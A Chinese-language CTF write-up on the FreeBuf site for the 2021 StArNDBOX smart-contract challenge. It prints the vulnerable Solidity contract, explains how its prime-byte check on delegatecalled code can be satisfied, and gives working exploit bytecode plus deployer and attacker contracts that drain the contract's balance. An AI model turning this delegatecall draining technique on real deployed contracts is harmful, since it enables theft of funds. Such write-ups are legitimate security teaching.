freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTF2021-StArNDBOX Writeup
2021-05-18 20:51:13

题目

题目要求:清空合约账户余额获得 flag

赛题源码:

pragma solidity ^0.5.11;

library Math {
    function invMod(int256 _x, int256 _pp) internal pure returns (int) {
        int u3 = _x;
        int v3 = _pp;
        int u1 = 1;
        int v1 = 0;
        int q = 0;
        while (v3 > 0){
            q = u3/v3;
            u1= v1;
            v1 = u1 - v1*q;
            u3 = v3;
            v3 = u3 - v3*q;
        }
        while (u1<0){
            u1 += _pp;
        }
        return u1;
    }
    
    function expMod(int base, int pow,int mod) internal pure returns (int res){
        res = 1;
        if(mod > 0){
            base = base % mod;
            for (; pow != 0; pow >>= 1) {
                if (pow & 1 == 1) {
                    res = (base * res) % mod;
                }
                base = (base * base) % mod;
            }
        }
        return res;
    }
    function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
        if (pow >= 0) {
            return expMod(base,pow,mod);
        }
        else {
            int inv = invMod(base,mod);
            return expMod(inv,abs(pow),mod);
        }
    }
    
    function isPrime(int n) internal pure returns (bool) {
        if (n == 2 ||n == 3 || n == 5) {
            return true;
        } else if (n % 2 ==0 && n > 1 ){
            return false;
        } else {
            int d = n - 1;
            int s = 0;
            while (d & 1 != 1 && d != 0) {
                d >>= 1;
                ++s;
            }
            int a=2;
            int xPre;
            int j;
            int x = pow_mod(a, d, n);
            if (x == 1 || x == (n - 1)) {
                return true;
            } else {
                for (j = 0; j < s; ++j) {
                    xPre = x;
                    x = pow_mod(x, 2, n);
                    if (x == n-1){
                        return true;
                    }else if(x == 1){
                        return false;
                    }
                }
            }
            return false;
        }
    }
    
    function gcd(int a, int b) internal pure returns (int) {
        int t = 0;
        if (a < b) {
            t = a;
            a = b;
            b = t;
        }
        while (b != 0) {
            t = b;
            b = a % b;
            a = t;
        }
        return a;
    }
    function abs(int num) internal pure returns (int) {
        if (num >= 0) {
            return num;
        } else {
            return (0 - num);
        }
    }
    
}

contract StArNDBOX{
    using Math for int;
    constructor()public payable{
    }
    modifier StAr() {
        require(msg.sender != tx.origin);
        _;
    }
    function StArNDBoX(address _addr) public payable{
        
        uint256 size;
        bytes memory code;
        int res;
        
				// load the code of _addr into the memory
        assembly{
						// length of the contract bytecode at addr, in bytes
            size := extcodesize(_addr)
						// code =  memory[0x40:0x40+32]
            code := mload(0x40)
						// writes a (u)int256 to memory[0x40:0x40+32] = code + (size + 0x20 + 0x1f) & ~0x1f
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
						// memory[code:code+32] = size
            mstore(code, size)
						// memory[add(code, 0x20):add(code, 0x20)+size] = address(_addr).code[0:0+size]
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }

				// check if each byte of bytescode is 0, 1 or prime number
        for(uint256 i = 0; i < code.length; i++) {
            res = int(uint8(code[i]));
            require(res.isPrime() == true);
        }
        bool success;
        bytes memory _;
        (success, _) = _addr.delegatecall("");
        require(success);
    }
}

题目分析

1.目标合约获取_addr的合约代码

2.检查获取代码的每一个字节是否为0,1或质数

3.若满足第二点,则调用_addr的fallback函数:_addr.delegatecall("")

4.通过调用_addr的fallback清空合约账户余额,获得 flag

要转走合约中的余额,就要保证

1.攻击合约的字节码都为0,1或质数

2.fallback函数是一个转账函数

构造CALL函数

部署合约:https://ethervm.io/decompile/ropsten/0xCE1e482Bb5600f7DE9d316bcd30fb53cBAd4DcBe

0x61000061000061000061000061006161000301610000619789f100

61 0000    PUSH2 0x0000
61 0000    PUSH2 0x0000
61 0000    PUSH2 0x0000
61 0000    PUSH2 0x0000
61 0061    PUSH2 0x0061
61 0003    PUSH2 0x0003
01         ADD
61 0000    PUSH2 0x0000
61 9789    PUSH2 0x9789
f1         CALL

// 从这个情况可以看出[<https://ethervm.io/>](<https://ethervm.io/>) 上的CALL函数参数栈调转了
memory[0x00:0x00] = address(0x0000).call.gas(0x9789).value(0x0003 + 0x0061)(memory[0x00:0x00])

攻击合约

pragma solidity ^0.5.11;

contract Deployer {
    constructor() public {
        bytes memory bytecode = hex'61000061000061000061000061006161000301610000619789f100';
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

攻击合约的调用

pragma solidity ^0.5.12;

contract StArNDBOX{
    function StArNDBoX(address _addr) public payable{ }
}

contract attack{
    address code;
    address target;
    StArNDBOX s;
    function exp(address code, address target)external{
        StArNDBOX s = StArNDBOX(target);
        s.StArNDBoX(code);
    }
}

参考文章

博客园:CTF 2021 StArNDBOX Writeup

# CTF # Writeup # 智能合约 # solidity
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录